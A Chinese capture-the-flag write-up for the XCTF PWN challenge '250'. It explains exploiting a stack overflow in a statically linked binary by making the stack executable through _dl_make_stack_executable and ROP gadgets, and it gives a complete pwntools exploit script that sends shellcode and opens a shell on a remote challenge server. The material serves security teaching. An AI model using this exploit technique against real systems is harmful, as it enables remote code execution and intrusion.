攻防世界PWN之250题解
250
首先,检查一下程序的保护机制
然后,我们用IDA分析一下
程序存在明显的栈溢出漏洞
并且glibc被静态编译到了程序中
由于没有开启PIE,且glibc被静态编译包含,那么我们有很多方式get shell,这里,我们使用的是dl_make_stack_executable使得栈变得可执行,然后在栈里布下shellcode来getshell
为了节省步骤,我们直接ret到这里
这样,我们就不用担心参数的问题,我们还得事先设置好ebp的值,使得[ebp+arg_10]为__libc_stack_end的地址,目的是为了绕过这里的检查
我们发现0x80A0B05处就是__libc_stack_end的地址
于是,我们就令ebp为0x80A0B05 - 0x18,这样[ebp+arg_10]为__libc_stack_end的地址
接下来,为了让_dl_make_stack_executable执行完后,不回到这
我们需要利用gadgets修改_dl_make_stack_executable_hook的值
我们得让它偏移一个push指令,即改成划线处的地址
这样ret时,就会不到原来的地方,而是回到栈里的ROP gadgets
于是,我们再用jmp esp来继续跳转到栈里,执行shellcode
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- #sh = process('./pwnh38')
- sh = remote('111.198.29.45',52378)
- elf = ELF('./pwnh38')
- _dl_make_stack_executable_hook = elf.symbols['_dl_make_stack_executable_hook']
- '''''调用_dl_make_stack_executable
- .text:0809A260 or ds:__stack_prot, 7
- .text:0809A267 mov eax, [ebp+arg_10]
- .text:0809A26A call _dl_make_stack_executable_hook
- '''
- call_dl_make_stack_executable = 0x809A260
- #inc dword ptr [ecx] ; ret
- inc_p_ecx = 0x080845f8
- pop_ecx = 0x080df1b9
- jmp_esp = 0x080de2bb
- sh.sendlineafter('SSCTF[InPut Data Size]',str(0x100))
- payload = 'a'*0x3A + p32(0x80A0B05 - 0x18)
- #修改_dl_make_stack_executable_hook,偏移一个push,这样ret时就不会返回到原来的位置
- payload += p32(pop_ecx) + p32(_dl_make_stack_executable_hook) + p32(inc_p_ecx)
- #调用_dl_make_stack_executable让栈变得可执行,并跳到栈里继续执行shellcode
- payload += p32(call_dl_make_stack_executable) + p32(jmp_esp)
- #shellcode
- payload += asm(shellcraft.i386.linux.sh())
- raw_input()
- sh.sendlineafter('SSCTF[YourData]',payload)
- sh.interactive()